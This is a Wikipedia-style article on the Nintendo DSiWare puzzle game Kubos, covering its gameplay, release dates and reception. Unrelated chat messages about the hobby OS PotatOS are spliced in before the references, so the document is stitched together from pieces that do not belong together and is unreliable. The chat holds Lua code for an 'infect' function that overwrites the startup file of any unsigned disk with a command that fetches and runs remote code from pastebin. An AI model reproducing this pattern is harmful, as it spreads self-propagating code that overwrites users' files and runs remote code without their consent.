Kubos

Kubos, known as Precipice in North America and Nalaku in Japan, is a puzzle video game developed by Skip Ltd. and published by Nintendo for the Nintendo DSi's DSiWare digital distribution service.

Kubos
Developer(s)Skip Ltd.
Publisher(s)Nintendo
Platform(s)DSiWare
Release
  • JP: February 25, 2009
  • PAL: June 5, 2009
  • NA: August 3, 2009
Genre(s)Puzzle
Mode(s)Single-player

Gameplay

Players must change the colors of blocks by controlling a character who walks on and climbs up on them. As blocks fall from the sky, the player must also avoid these, and avoid stepping on blocks when they are shaking.[1] Cubes can be climbed on to the next level and even pushed over in order to get all the cubes touched on the same level to score more points. Special pick-up object blocks give the character a mega punch to knock blocks off of the level in the direction of the punch. If they don't retrieve the object, the section of blocks disappear. If the character stands on a multi-color flash block, their energy level is restored by as much as half of the energy meter displayed on the left of the game screen. To get better viewing angles, the player can rotate the cube tower 90 degrees in either direction, or looking at the tower from above, to let the player see where the character is going and if any cubes will be falling in that section, or if there are no cubes in one section. The game is cleared when the character climbs up ten floors and the score only counts when the ten floors are cleared.

The endless mode is where the character stands on a 3X3 block level and blocks continue to fall down. If the character stands on all of the blocks on the same floor in endless mode, their energy level is fully restored. More blocks continue to fall up to as many as eight, until the character climbs up every ten floors before the falling blocks ease off for a while.

The game is over if the character is either squashed from a falling block with no energy left, or if they stand on a section of blocks that are about to disappear and the character falls off.

Development

Kubos was released on February 25, 2009 in Japan, the PAL regions on June 5, 2009 and in North America on August 3, 2009. It was developed by Skip Ltd. and published by Nintendo for the DSiWare service.[1]

Reception

Reception
Review scores
PublicationScore
Nintendo Life[2]
Pocket Gamer6/10[3]

Kubos was nominated for Game of the Year by Nintendo Power, as well as DSiWare Game of the Year and Best Puzzle Game.[4]

gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?
gollark: <@151391317740486657> Only digitally signed ones are run unsandboxed. You cannot sign a disk without the private key or probably utterly impractical hackery.
gollark: Basically, any disk you make *will not be run unsandboxed* on a regular potatOS install.

References

  1. "Here Is Your Nintendo DSiWare Line Up For February". Siliconera. 2009-02-20. Retrieved 2009-02-20.
  2. Calvert, Darren (5 June 2009). "Art Style: KUBOS Review - DSiWare". Nintendo Life. Retrieved 20 December 2017.
  3. Jordan, Jon (18 July 2009). "Art Style: KUBOS review - DSi reviews". Pocket Gamer. Retrieved 20 December 2017.
  4. Nintendo Power 250th issue!. South San Francisco, California: Future US. 2010. p. 73.
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